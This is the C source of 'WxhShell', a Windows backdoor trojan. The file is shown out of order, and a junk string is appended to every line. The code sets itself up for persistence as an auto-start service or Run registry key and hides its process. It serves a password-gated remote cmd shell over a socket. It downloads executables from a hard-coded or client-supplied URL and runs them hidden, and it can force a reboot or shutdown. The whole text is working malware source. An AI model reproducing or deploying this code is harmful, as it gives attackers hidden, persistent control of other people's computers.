  case 'd': { |iJZC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }/}`onRZ  
    if(Boot(SHUTDOWN)) eHyuO)(xH1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYm{I ~"  
    else { ez:o9)N4  
    closesocket(wsh); IV#My9}e  
    ExitThread(0); ]}L1W`n  
    } #V,~d&_k  
    break; KXbYv62  
    } adr^6n6 v  
  // 获取shell w58 QX/XG  
  case 's': { h \cK  
    CmdShell(wsh); 0BP~ 0z  
    closesocket(wsh); ao5yW;^y  
    ExitThread(0); ^V,/4u  
    break; E6-(q!"A  
  } ?,e:c XhE2  
  // 退出 Bv]wHPun  
  case 'x': { Y},GZ^zqy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G`lhvpifG  
    CloseIt(wsh); Z q>.;>  
    break; _$_CR\$  
    } FT<*  
  // 离开 z>g& ?vo2  
  case 'q': { |nZB/YZt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5*za]   
    closesocket(wsh); c(g^*8Pb  
    WSACleanup(); @O0 vh$3t0  
    exit(1); dQ~"b=  
    break; ]Tw6Fg1o>  
        } QN a3S*  
  } @z JZoJL]J  
  } #_sVB~sn@  
"EkO>M/fr  
  // 提示信息  jy|xDQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ssbyvzQ  
} aNU%OeQA  
  } $,#IPoi~X  
lc(iy:z@  
  return; F(fr,m3  
} 0(f;am0y  
!e"m*S.(6{  
// shell模块句柄 ZoReyY2  
int CmdShell(SOCKET sock) R:m=HS_  
{ QD VA*6F  
STARTUPINFO si; D)cwttH  
ZeroMemory(&si,sizeof(si)); >mSl~.I2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #@"rp]1xv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >ZsK5v  
PROCESS_INFORMATION ProcessInfo; w7V W   
char cmdline[]="cmd"; S2SQ;s-t_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z'bMIdV  
  return 0; oDI*\S>  
} 9TS=>  
@<JQn^M  
// 自身启动模式 4DM|OL`w  
int StartFromService(void) vrx3O  
{ CnA)>4E*'  
typedef struct I T2sS6&R  
{ b>._ r&.  
  DWORD ExitStatus; n:)Y'52}  
  DWORD PebBaseAddress; "jMnYEG  
  DWORD AffinityMask; x)mC^  
  DWORD BasePriority; BQf+1 Ly&  
  ULONG UniqueProcessId; w~?eX/;  
  ULONG InheritedFromUniqueProcessId; r_RTtS#  
}   PROCESS_BASIC_INFORMATION; . L%@/(r  
T )]|o+G  
PROCNTQSIP NtQueryInformationProcess; ToM*tXj  
yvwcXNXR@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o[6"XJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L(S.  
^P`'qfZ  
  HANDLE             hProcess; =B%e0M  
  PROCESS_BASIC_INFORMATION pbi; p}X87Zq  
- $/{V&?t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Shh$iz  
  if(NULL == hInst ) return 0; r26Wysi~%  
_I5+o\;1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xF+x I6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aV, J_Q6r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M_I\:Q  
K%Ml2V   
  if (!NtQueryInformationProcess) return 0; g<3>7&^  
9DKB+K.1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YHAg4 eb8  
  if(!hProcess) return 0; $>m<+nai'  
a,9GSKXo1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VH65=9z  
}epN<DL  
  CloseHandle(hProcess); r{&"]'/X  
"// 8^e%Xo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +-V?3fQ  
if(hProcess==NULL) return 0; ?&_\$L[  
Z] }@#/ n  
HMODULE hMod; 0q!{&p t  
char procName[255]; o 4wKu  
unsigned long cbNeeded; .p_$]  
s yvi/6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1!#ZEI C  
Pw.+DA  
  CloseHandle(hProcess); /RJSkF+!  
\ziF(xTvqG  
if(strstr(procName,"services")) return 1; // 以服务启动  }"tYb6*  
XE\bZc  
  return 0; // 注册表启动 ]0E-lD0J  
} T+hW9pa)  
=v9;HPiO  
// 主模块 SBt: `,  
int StartWxhshell(LPSTR lpCmdLine) inrL'z   
{ %)V3QnBO  
  SOCKET wsl; HrxEC)V6#  
BOOL val=TRUE; 5~QB.m,>  
  int port=0; K.Z{4x=0  
  struct sockaddr_in door; VUy 1?n  
7]bq s"t  
  if(wscfg.ws_autoins) Install(); 0T;WN$W|  
&Y$rVBgQ  
port=atoi(lpCmdLine); H\vO0 <X  
d0 az#Yg!  
if(port<=0) port=wscfg.ws_port; AQZ\Kcr  
} q(0uzaG  
  WSADATA data; "'(4l 2.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L Jx g  
,55`s#;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0g\&3EvD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9 |Y?#oZ1  
  door.sin_family = AF_INET; Mt>DAk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o}z}79Z  
  door.sin_port = htons(port); mH"`46  
Q<qIlNE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @hPbD?)M  
closesocket(wsl); Ja1*a,],L  
return 1; mHy]$Z  
} 2BY:qz%:  
lhU#/}Z  
  if(listen(wsl,2) == INVALID_SOCKET) { &D#v0!e~x  
closesocket(wsl); `x{gF8GV  
return 1; KNhH4K2iP8  
} DGnswN%n1  
  Wxhshell(wsl); lLv0lf  
  WSACleanup(); {[+gM?  
LtBH4 A  
return 0; Ql 1# l:Q  
Mv3Ch'X[  
} @@QU"8q  
}{"\"Bn_  
// 以NT服务方式启动 `shB[Lt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cae}dHG2  
{ TXM.,5Dx\  
DWORD   status = 0; bUNp>H>L  
  DWORD   specificError = 0xfffffff; ^ 9i^Ci9  
Oc>-jhx?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b;{C1aa>}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )NK2uD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RWE%? `   
  serviceStatus.dwWin32ExitCode     = 0; K^ lVng  
  serviceStatus.dwServiceSpecificExitCode = 0; Gex^\gf  
  serviceStatus.dwCheckPoint       = 0; %oo&M;  
  serviceStatus.dwWaitHint       = 0; =zKp(_[D  
c=gUY~Rl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qCMcN<:>  
  if (hServiceStatusHandle==0) return; dGg+[?  
s0u$DM2  
status = GetLastError(); gqhW.e}]  
  if (status!=NO_ERROR) +Muyp]_  
{ b8Qm4b?:4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~oI49Q&{  
    serviceStatus.dwCheckPoint       = 0; /zWWUl`:  
    serviceStatus.dwWaitHint       = 0; +-"#GL~cC  
    serviceStatus.dwWin32ExitCode     = status; HFazqQ[  
    serviceStatus.dwServiceSpecificExitCode = specificError; tkmW\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Jc>l;G(M  
    return; C+Z"0\{o  
  } Smp+}-3O  
IO4 IaeM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SO%5ts  
  serviceStatus.dwCheckPoint       = 0; Am0$UeSZ  
  serviceStatus.dwWaitHint       = 0; T]xGE   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DuWP)#kg  
}  ;"3Mm$  
4 R]|  
// 处理NT服务事件,比如:启动、停止 vlD]!]V:h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =Y BJ7.Y  
{ I6\3wU~).  
switch(fdwControl) <j>@Fg#q  
{ d3\8BKp  
case SERVICE_CONTROL_STOP: I.>LG  
  serviceStatus.dwWin32ExitCode = 0; 1L0ku@%t9Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z(xvt>  
  serviceStatus.dwCheckPoint   = 0; 8P 8"dN[  
  serviceStatus.dwWaitHint     = 0; $#!~K2$  
  { #SdaTMLFf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 86Rit!ih  
  } VlEkT9^:  
  return; & 2b f  
case SERVICE_CONTROL_PAUSE: JjwuxZVr O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ><=af 9T  
  break; [Xrq+O,  
case SERVICE_CONTROL_CONTINUE: cE3co(j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1li`+~L F  
  break; (#:Si~3  
case SERVICE_CONTROL_INTERROGATE: ;9~z_orNQZ  
  break; }yw\+fc  
}; GHkSU;})  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p#&6Ed*V  
} 'D4NPG`z  
^~0 r+w61  
// 标准应用程序主函数 .cb mCFXL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G`n-WP  
{ zt8ZJlNK  
C" sa.#}  
// 获取操作系统版本 Z_;' r|c  
OsIsNt=GetOsVer(); [Yv5Sw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U+ 8[Ia(t  
g N[r*:B  
  // 从命令行安装 #wo_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4eKJ\Q=nX5  
;#+#W+0  
  // 下载执行文件 YcI]_[  
if(wscfg.ws_downexe) { 5Ql6?U HD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Cj&C/(  
  WinExec(wscfg.ws_filenam,SW_HIDE); A-~)7-  
} gp}S 1  
k4@GjO1"$  
if(!OsIsNt) { (X8N?tJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 H0Tt(:.&  
HideProc(); T&c[m!}X|t  
StartWxhshell(lpCmdLine); 7+c@pEU]  
} dug RO[  
else PyoLk  
  if(StartFromService()) 4e:hKv,+4  
  // 以服务方式启动 e'ZgF~  
  StartServiceCtrlDispatcher(DispatchTable); Wj3H  y4  
else A;g[G>J  
  // 普通方式启动 pSAXp# g  
  StartWxhshell(lpCmdLine); B<)(7GTv7"  
8dpVB#]pp,  
return 0; -&&mkK B!  
} vL><Y.kOEs  
emHi= [!i  
WlY%f}l n  
njIvVs`q  
=========================================== lRrOoON  
V6!oe^a7'  
FUH1Z+9  
^b%AwzHH}  
@.5Ybgn  
C /E3NL8  
" wjl? @K  
Kb}N!<Z*  
#include <stdio.h> 4b#YpK$7U  
#include <string.h> +vQyHo  
#include <windows.h> < ;g0?M\  
#include <winsock2.h> { sZrI5   
#include <winsvc.h> kN_LD-  
#include <urlmon.h> h$k(|/+  
T7,tJk,(  
#pragma comment (lib, "Ws2_32.lib") j_{gk"2:d`  
#pragma comment (lib, "urlmon.lib") 5pDxFs=v  
4uv }6&R  
#define MAX_USER   100 // 最大客户端连接数 &O'yhAP] j  
#define BUF_SOCK   200 // sock buffer iCH Z{<k  
#define KEY_BUFF   255 // 输入 buffer @<Y Za$`  
0+L5k!1D  
#define REBOOT     0   // 重启 C>;}CH|X  
#define SHUTDOWN   1   // 关机 QCjmg5bf'7  
9uq| VU5  
#define DEF_PORT   5000 // 监听端口 `R^)< v*  
LvR=uD  
#define REG_LEN     16   // 注册表键长度 55AG>j&41  
#define SVC_LEN     80   // NT服务名长度 w#o<qrpHf  
0 cQf_o  
// 从dll定义API :9)>!+|'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l +#`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0}ZuF.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 41:Z8YL(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8-m"]o3  
eBP N[V  
// wxhshell配置信息 o(a*Fk$  
struct WSCFG { :ortyCB:H  
  int ws_port;         // 监听端口 (cMrEuv  
  char ws_passstr[REG_LEN]; // 口令 U9@q"v-  
  int ws_autoins;       // 安装标记, 1=yes 0=no wU=(_S,c  
  char ws_regname[REG_LEN]; // 注册表键名 aH:eu<s  
  char ws_svcname[REG_LEN]; // 服务名 Ji7A9Hk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;[|x5o /<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gcz1*3)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E 1>3[3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~r{Nc j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gh~C.>W}q+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lr|-_snx2  
F'"-4YV>&  
}; bkY7]'.bz&  
z*R"917  
// default Wxhshell configuration ?=\h/C  
struct WSCFG wscfg={DEF_PORT, 0/%zXp&m  
    "xuhuanlingzhe", Sy8Og] a  
    1, )Ev [o#y  
    "Wxhshell", {u!,TDt*  
    "Wxhshell", g'IS8@  
            "WxhShell Service", * "E]^wCn  
    "Wrsky Windows CmdShell Service", 5ogbse"  
    "Please Input Your Password: ", ;eWVc;H  
  1, aB$Y5  
  "http://www.wrsky.com/wxhshell.exe", 2. |Y  
  "Wxhshell.exe" *z(.D\{%  
    }; h+vKai  
dCc*<S  
// 消息定义模块  :&Ul  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '; qT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JY /Cd6\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f",B;C  
char *msg_ws_ext="\n\rExit."; SI@I  
char *msg_ws_end="\n\rQuit."; H kg0;)  
char *msg_ws_boot="\n\rReboot..."; M+ H$Jjcs  
char *msg_ws_poff="\n\rShutdown..."; Z{e5 OJ  
char *msg_ws_down="\n\rSave to "; 'SuYNA)  
1sgoT f%  
char *msg_ws_err="\n\rErr!"; J${wU @_ %  
char *msg_ws_ok="\n\rOK!"; *<9p88FpDU  
\Oc3rJ(  
char ExeFile[MAX_PATH]; 4u /?..L.  
int nUser = 0; Y#Hf\8r,d  
HANDLE handles[MAX_USER]; > sUk6Z~  
int OsIsNt; al^ yCoB  
_)p%  
SERVICE_STATUS       serviceStatus; f'}23\>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {Xl 5F.q  
lD{9o2  
// 函数声明 )`L!eN  
int Install(void);  Z3I<  
int Uninstall(void); &3AGj,  
int DownloadFile(char *sURL, SOCKET wsh); /at#[Pw~01  
int Boot(int flag); }U8H4B~UtY  
void HideProc(void); +pDuRr  
int GetOsVer(void); XX/cJp  
int Wxhshell(SOCKET wsl); {gJOc,U4b  
void TalkWithClient(void *cs); ny#7iz/  
int CmdShell(SOCKET sock); ;Yi ;2ttW  
int StartFromService(void); 8(ZQD+U(9F  
int StartWxhshell(LPSTR lpCmdLine); tv?~LJYN  
??k^Rw+0R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oW-luC+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "--rz;+K  
Ar>-xCT D  
// 数据结构和表定义 6 Iup4sP  
SERVICE_TABLE_ENTRY DispatchTable[] = d,$[633It}  
{ Vls*fY:W  
{wscfg.ws_svcname, NTServiceMain}, 'a4xi0**I  
{NULL, NULL} @O4m-Oosi  
}; /Cwt4.5  
>bmL;)mc&  
// 自我安装 l_$~~z ~  
int Install(void) (/Nw  
{ ZY {,//  
  char svExeFile[MAX_PATH]; f\Pd#$3  
  HKEY key; Rh: \/31~  
  strcpy(svExeFile,ExeFile); 03# r F@e  
cA_v*`YL  
// 如果是win9x系统,修改注册表设为自启动 lS}5bcjR=k  
if(!OsIsNt) { UP#]n 69y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {N>VK*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {X8F4  
  RegCloseKey(key); 4F/Q0"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lQ@ 2s[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c~p4M64  
  RegCloseKey(key); R$v{ p[  
  return 0; &x\u.wIa  
    } {GZHD^Ce  
  } 3vmZB2QG  
} MTa.Ubs  
else { _ 57m] ;&  
Y]ZOvA5W  
// 如果是NT以上系统,安装为系统服务 tR*J M$T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z~$fTW6g  
if (schSCManager!=0) zX|CW;  
{ F!N;4J5u  
  SC_HANDLE schService = CreateService e PlEd'Z  
  ( )(y&U  
  schSCManager, bp;)*  
  wscfg.ws_svcname, IaN|S|n~  
  wscfg.ws_svcdisp, Pgb<;c:4  
  SERVICE_ALL_ACCESS, 1P&c:n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (5VP*67  
  SERVICE_AUTO_START, O[Nc$dc  
  SERVICE_ERROR_NORMAL, *h$Dh5%P  
  svExeFile, .~C*7_  
  NULL, |VTm5.23  
  NULL, nB"q  
  NULL, "o% N`Xlx  
  NULL, %Wn/)#T|  
  NULL ~E#>2Mh  
  ); 9fyk7~ V  
  if (schService!=0) Fj -mo>"  
  { <?QY\wyikz  
  CloseServiceHandle(schService); 6]7iiQz"H  
  CloseServiceHandle(schSCManager); .#Z}}W#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TRG"fVR  
  strcat(svExeFile,wscfg.ws_svcname); GIt; Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m?bb/o'B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j[9xF<I  
  RegCloseKey(key); ,Rz,[KI|  
  return 0; zN*/G6>A  
    } NhXTt!S6C  
  } 3,W2CN}  
  CloseServiceHandle(schSCManager); Peh( *D{  
} $0NWX  
} CQQX7Y\  
>\%44ba6  
return 1; lzw3 x  
} w=y!|F  
hP,SvN#!2  
// 自我卸载 [K x_%Le  
int Uninstall(void) 0}-&v+  
{ zZGPA j  
  HKEY key; 74xI#`E  
E.t9F3  
if(!OsIsNt) { { SJ=|L6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WSKG8JT^|  
  RegDeleteValue(key,wscfg.ws_regname); ,r+=>vre  
  RegCloseKey(key); kjJ\7x6M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rN8 ZQiJC  
  RegDeleteValue(key,wscfg.ws_regname); '9]%#^[Q  
  RegCloseKey(key); wlmi&kq  
  return 0; 4f'WF5S/}8  
  }  \^w=T*  
} +7^{T:^ht  
} .0r5=  
else { +|r) ;>b  
n!A')]y"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v6;XxBR6  
if (schSCManager!=0) e#)}.   
{ dGr Ow)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5d<-y2!M  
  if (schService!=0) m>jX4D7KZ  
  { {.DI[@.g  
  if(DeleteService(schService)!=0) { &X9#{:l=  
  CloseServiceHandle(schService); V :*GG+4  
  CloseServiceHandle(schSCManager); ?20y6c<  
  return 0; ;M>0,  
  } C5*j0}  
  CloseServiceHandle(schService); kT[]^Jtc  
  } g=:%j5?.e  
  CloseServiceHandle(schSCManager); jrvhTej  
} av&dGsFP  
} 9Or3X/:o  
!s9<%bp3  
return 1; `9kjYSd#E  
} 7a-> "W  
8pg?g'A~}  
// 从指定url下载文件 Zj[Bm\ 8  
int DownloadFile(char *sURL, SOCKET wsh) )|q,RAn  
{ RHz'Dz>0  
  HRESULT hr; qL,QsRwN  
char seps[]= "/"; ) Tpc8Hr  
char *token; '[{M"S  
char *file; N|WnUlf]:  
char myURL[MAX_PATH]; kS8srT /H  
char myFILE[MAX_PATH]; -P!vCf^{ t  
j}X4#{jgC  
strcpy(myURL,sURL); ^-f5;B`\i  
  token=strtok(myURL,seps); x\3tSP7Vp  
  while(token!=NULL) |Gzd|$%Oq  
  { |bVNlL"xN  
    file=token; nZ$,Bjb  
  token=strtok(NULL,seps); iEsI  
  } 8n,i5>!d  
Z"mpE+U*  
GetCurrentDirectory(MAX_PATH,myFILE); h,\^Sb5AP  
strcat(myFILE, "\\"); pIqPIuy  
strcat(myFILE, file); 1e _V@Vy  
  send(wsh,myFILE,strlen(myFILE),0); +d2+w1o^V  
send(wsh,"...",3,0); 3Yp_k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OHR9u  
  if(hr==S_OK) V89!C?.[]1  
return 0; 7Q/v#_e(  
else LGgEq -  
return 1; |&o1i~Y  
BB1'B-O  
} K/, B  
J3}^\k=p"  
// 系统电源模块 +pnT6kU|  
int Boot(int flag) )><cL:IJ}S  
{ t'Nu^_#  
  HANDLE hToken; |0b$60m$!t  
  TOKEN_PRIVILEGES tkp; $xvEYK  
EJNj.c-#  
  if(OsIsNt) { ~bWqoJ;Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;KbnaUAS8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >6@*%LM  
    tkp.PrivilegeCount = 1; "a?k #!E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6T;C+Y$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lF 8B+  
if(flag==REBOOT) { Ra;e#)7 X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U-Fr[1I6p  
  return 0; q@8Rlc&  
} TXH: +mc  
else { #OJsu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SdYES5aES  
  return 0; :{E3H3  
} Fu^^Jex  
  } aEy_H-6f  
  else { %&V<kH"7Q{  
if(flag==REBOOT) { C.C\(2- Rr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RCND|X  
  return 0; Njc3X@4=  
} YM1tP'4j@  
else { aCMF[ 3j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c_kxjzA#  
  return 0; Yn'XSV|g  
} 1;?b-FEq:  
} ) ok_"wB  
tJ&S&[}  
return 1; H_o<!YxK  
}  &j2L- )  
V<\:iNXX{  
// win9x进程隐藏模块 b0rC\^x  
void HideProc(void) A:cc @ku  
{ z }R-J/xr2  
q ^n6"&;*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {>5z~OV  
  if ( hKernel != NULL ) V. 1sb pI  
  { ~*LH[l>K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R 7xV{o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f]J?-ks  
    FreeLibrary(hKernel); c)rI[P7Q  
  } deda=%w0  
z=?ainnKx  
return; #Ru+|KL  
} ]\+bx=  
}]=b%CPJh+  
// 获取操作系统版本 f|m.v +7k  
int GetOsVer(void) HqcXP2  
{ KynQ <I/  
  OSVERSIONINFO winfo; 8W[QV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :1hp_XfJb  
  GetVersionEx(&winfo); -x:Wp*,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f2uog$H k  
  return 1; (|(Y;%>-v  
  else `5O<U~'d  
  return 0; [B+ o4+K3  
} u17Da9@;  
_@F4s   
// 客户端句柄模块 /(W{`  
int Wxhshell(SOCKET wsl) QbV)+7II=  
{ l.;y`cs  
  SOCKET wsh; Nr:%oD_G*  
  struct sockaddr_in client; 9P{5bG0o8  
  DWORD myID; K)_0ej~C  
=y0!-y  
  while(nUser<MAX_USER) lBD{)Va  
{ y!blp>V6  
  int nSize=sizeof(client); CW*6 -q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  T~ /Bf  
  if(wsh==INVALID_SOCKET) return 1; j<8_SD=,  
u vc0"g1h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C/<fR:`c  
if(handles[nUser]==0) dm8veKW'l  
  closesocket(wsh); :*0k:h6g  
else `vL R;D  
  nUser++; #y-OkGS ^  
  } wD22@uM#]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rnmWw#  
H+zQz8zMC  
  return 0; ;=_<\2  
} C]A*B  
N]KqSpPh  
// 关闭 socket l"CHI*  
void CloseIt(SOCKET wsh) h&h]z[r R  
{ }\JoE4  
closesocket(wsh); nITr5$f  
nUser--; riFE.;  
ExitThread(0); rouD"cy  
} "y_$!KY%  
h*_r=' E  
// 客户端请求句柄 o'>jO.|  
void TalkWithClient(void *cs) 68;,hS*|6  
{ x03GJy5  
\<i#Jn+)  
  SOCKET wsh=(SOCKET)cs; VF<{Qx*  
  char pwd[SVC_LEN]; B,e@v2jO|  
  char cmd[KEY_BUFF]; j(va# f#  
char chr[1]; ;6fkG/T  
int i,j; SY>N-fW\H:  
je_77G(F  
  while (nUser < MAX_USER) { nUd(@@%m  
l*B;/ >nR  
if(wscfg.ws_passstr) { 1?E\2t&K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); goRoi\z $  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r/:9j(yxr  
  //ZeroMemory(pwd,KEY_BUFF); :d)@|SR1  
      i=0; } ..}]J;To  
  while(i<SVC_LEN) { D dt9`j  
2>ce(4Gky  
  // 设置超时 ~4XJ" d3L  
  fd_set FdRead; n)$ q*IN"  
  struct timeval TimeOut; @^k$`W;  
  FD_ZERO(&FdRead); :L*CL 8m  
  FD_SET(wsh,&FdRead); r[EN`AxDb  
  TimeOut.tv_sec=8; <0JW[m  
  TimeOut.tv_usec=0; <9\_b 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zh*NRN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <:q]t6]$  
JOenVepQ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J5@_OIc1y  
  pwd=chr[0]; mEyZ<U9  
  if(chr[0]==0xd || chr[0]==0xa) { tnRq?  
  pwd=0; Z|'tw^0e5  
  break; e0v&wSi  
  } Tg{d#U_qB  
  i++; F'pD_d9]e  
    } _$i9Tk  
=qI JXV  
  // 如果是非法用户,关闭 socket zVl(?b&CF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _wZ(%(^I  
} 4A|5eg9N  
NFmB ^@k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V%o:Qa[a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c9r2kc3cy{  
.!nFy`  
while(1) { (Pvch!  
%8S!l;\H5  
  ZeroMemory(cmd,KEY_BUFF); "9>#Q3<N  
-bZ^A~<O,  
      // 自动支持客户端 telnet标准   |Vd)7/LN  
  j=0; f\^FUJy  
  while(j<KEY_BUFF) { uh:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |{t}ULc  
  cmd[j]=chr[0]; %ze Sx  
  if(chr[0]==0xa || chr[0]==0xd) { %z.u % %  
  cmd[j]=0; k9yA#  
  break; O?8G  
  } xV<NeU  
  j++; 47ir QK*  
    } eR8h4M~O  
k\HRG@ /G  
  // 下载文件 )7c^@I;7  
  if(strstr(cmd,"http://")) { 6M612   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N-_2d*l3  
  if(DownloadFile(cmd,wsh)) ymr-kB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XK(<N<Z@|e  
  else b4oZ@gVR;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }v=q6C#Q>  
